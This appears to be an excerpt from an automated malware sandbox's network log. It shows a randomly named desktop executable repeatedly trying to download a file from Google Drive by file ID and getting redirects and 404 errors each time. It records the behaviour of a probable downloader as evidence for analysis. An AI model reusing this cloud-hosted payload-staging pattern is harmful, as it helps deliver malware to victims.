2025-01-10 14:39:45 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:45 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-el9EzKA_7I2bsvO3cs8kag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	52222	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:46 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:46 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC53BIWLhSH4CRJxxJ4Hbf_NKfjSbCjhipd0Ah-OyED6klhWJkMu_7HckAXIDX4XElktzP_BSIk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:46 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-gSRM6WAvQwqHabIx-Bk-lw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:46 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 4d 79 63 57 54 74 7a 5a 71 5a 46 77 57 34 64 31 6f 57 68 4f 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BMycWTtzZqZFwW4d1oWhOg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	52223	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:47 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:48 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:47 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-sNQIIhWxb0OQuDLrO8sLTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	52224	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:48 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:49 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSYBtUHanGvGgUqGRx6T2mX52O4e885EmUmk4qiqieOZsym2WnS6wE_PMrFc71F9cnS Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:49 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-XA6CujBmxbACi7hIrnJZqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:49 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 75 64 6b 67 76 66 5a 51 73 6c 4f 4c 48 73 75 41 7a 63 5f 54 44 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="udkgvfZQslOLHsuAzc_TDA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	52225	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:49 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:50 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:50 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-NW5RhiGysCsBMI9SZHXVcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	52226	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:51 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:51 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6crM6FOApL-R-Y65smVto2_5SBvTfa13w3CwnHoIA_3kNbi7sJvhnVGC19Gy-Hb2oCRtcZ4nk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:51 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-59TWLRx8l9JYw0Xroa2K2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:51 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 39 56 4b 4b 37 71 37 41 48 70 56 54 33 4e 52 31 65 6f 45 77 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="F9VKK7q7AHpVT3NR1eoEwg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	52227	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:52 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:52 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:52 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-z2LhwlUzTch4ELdEt_ya1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	52228	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:53 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:53 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC42INTQcEMOkPrixOQ1TpM2Q_-W7xSQL9l_8_oNYOQkeKU8tftaJ_OhO9fnoeZBSfRTP0CnQYI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:53 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-JElhuqk_mMgbZIpgf4Gk5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:53 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 6b 7a 6c 6b 41 46 75 71 45 69 6f 45 73 4f 5a 57 67 69 63 68 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="dkzlkAFuqEioEsOZWgichg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	52229	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:54 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
